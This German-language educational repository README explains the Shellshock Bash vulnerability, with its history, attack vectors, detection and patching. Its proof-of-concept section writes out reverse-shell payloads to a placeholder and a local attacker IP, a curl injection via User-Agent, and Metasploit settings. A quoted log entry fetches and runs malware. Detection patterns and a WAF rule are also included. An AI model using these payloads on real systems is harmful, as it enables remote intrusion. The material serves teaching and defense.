
Bildungs-Repository, das die Shellshock-Sicherheitslücke (CVE-2014-6271) detailliert beschreibt, einschließlich technischer Analyse, Angriffsvektoren, Proof-of-Concept-Ausnutzung und Maßnahmen zur Absicherung gegen die Injection von Umgebungsvariablen in Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Remote Code Execution via Bash-Umgebungsvariablen-Injection
„Ein Fehler, der über Jahrzehnte in Bash verborgen war und die Grundfesten des Internets in weniger als 24 Stunden erschütterte.“
Shellshock (auch bekannt als Bashdoor) ist eine Familie kritischer Schwachstellen im GNU-Bash-Interpreter, die es einem entfernten Angreifer ermöglicht, beliebige Befehle auf dem Zielsystem auszuführen.
Der grundlegende Fehler: Bash brach die Analyse einer Umgebungsvariable nicht ab, nachdem die Funktionsdefinition beendet war. Jeder Code, der nach () { :; }; angehängt wurde, wurde automatisch ausgeführt.
Umgebungsvariable → Funktionsdefinition → [HIER WIRD ZUSÄTZLICHER CODE AUSGEFÜHRT] ← BUG
Da Webserver (CGI/Apache), SSH-Dienste und DHCP-Clients Header oder Parameter in Bash-Umgebungsvariablen umwandeln, war die Angriffsfläche massiv.
12. Sep. 2014 ── Stéphane Chazelas entdeckt den Fehler und meldet ihn Chet Ramey (Bash-Maintainer)
Der Bug existierte bereits seit über 20 Jahren in Bash.
24. Sep. 2014 ── Öffentliche Offenlegung + Veröffentlichung des Patches (CVE-2014-6271)
Stunden später: aktive Botnets scannen massiv das Internet.
25.–30. Sep. 2014 ── Verwandte Schwachstellen entdeckt:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Okt. 2014 ──────── Millionen registrierter Angriffe. Im Schweregrad mit Heartbleed verglichen.
Wenn Bash eine Funktion aus einer Umgebungsvariable importiert, liest es bis zur schließenden } der Funktion. In anfälligen Versionen verarbeitete es den nachfolgenden Code weiter, anstatt anzuhalten.
# Bösartige Umgebungsvariable:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Anfälliger Bash beim Initialisieren:
# 1. Liest die Funktionsdefinition → OK
# 2. Findet }; → sollte anhalten
# 3. Fährt FORT → führt /bin/cat /etc/passwd aus ← BUG
Angreifer Apache-Server (CGI) Bash (anfällig)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Wandelt Header in Env-Vars um │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Führt cmd aus
│ │ │ als www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Antwort + Ausgabe des cmd │ │
env x='() { :;}; echo ANFÄLLIG' bash -c "echo this is a test"
Ergebnis auf ANFÄLLIGEM System:
ANFÄLLIG
this is a test
Ergebnis auf GEPATCHTEM System:
this is a test
(oder ein Syntaxfehler — gibt niemals „ANFÄLLIG“ aus)
Webserver, die .cgi-Skripte verwenden, wandeln die HTTP-Header in Bash-Umgebungsvariablen um.
Betroffene Header: User-Agent, Referer, Cookie, X-Forwarded-For, sowie beliebige benutzerdefinierte Header
# Wenn der Server ForceCommand gesetzt hat, kann ein Angreifer mit gültigem Schlüssel dies umgehen
ssh benutzer@ziel '() { :;}; /bin/bash'
Bösartige DHCP-Server können Umgebungsvariablen in Clients injizieren, die Bash zur Verarbeitung der DHCP-Antwort verwenden.
# Jeder Prozess, der Umgebungsvariablen erbt und Bash ausführt
env VAR='() { :;}; bösartiger_befehl' bash -c "legitimes_skript"
nc -lvnp 4444
# Payload, der in den User-Agent eingefügt wird
() { :;}; /bin/bash -i >& /dev/tcp/ANGREIFER_IP/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://anfällige-seite.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Nach dem charakteristischen Muster in der access.log suchen
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Beispiel für einen bösartigen Logeintrag:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Kindprozesse von www-data/apache, die nicht existieren sollten
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Neue ausführbare Dateien in /tmp, /var/tmp, /dev/shm
- Ausgehende Verbindungen vom Webserver zu unbekannten IPs
- Veränderung von /etc/crontab oder /etc/passwd
- Bash-Prozesse, die als www-data ohne Terminal laufen
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Gepatchte Version prüfen (muss „patches“ anzeigen)
bash --version
# GNU bash, version 4.3.30(1)-release → ANFÄLLIG
# GNU bash, version 4.3.33(1)-release → GEPATCHT (variiert nach Distribution)
# Darf nur „this is a test“ ausgeben – NIEMALS „ANFÄLLIG“
env x='() { :;}; echo ANFÄLLIG' bash -c "echo this is a test"
# 1. CGI deaktivieren, falls nicht benötigt
a2dismod cgi
# 2. WAF-Regel, um das Muster zu blockieren
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Fortlaufende Log-Überwachung
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Dieses Repository dient ausschließlich zu Bildungszwecken, für Cybersicherheitsforschung und autorisierte Sicherheitsaudits. Alle hier präsentierten Informationen sind gemeinfrei. Das Testen gegen Systeme ohne ausdrückliche Genehmigung ist nach den Gesetzen der meisten Rechtsordnungen illegal. Der Autor übernimmt keine Haftung für die missbräuchliche Verwendung dieser Informationen.
Entdeckt von Stéphane Chazelas · Veröffentlicht am 24. September 2014
CVSS Score: 10.0 (Critical) → Später auf 9.8 unter CVSSv3 angepasst
| Produkt | Anfällige Versionen | Status |
|---|
| GNU Bash | 1.0.3 – 4.3 | Gepatched |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versionen vor Sept. 2014 | Gepatched |
| Apple macOS / OS X | 10.10 und älter | Gepatched (Security Update 2014-005) |
| IoT-Geräte mit eingebettetem Bash | Mehrere | Je nach Hersteller unterschiedlich |
| Webserver mit CGI über Apache | Jede Version mit anfälligem Bash | Gepatched |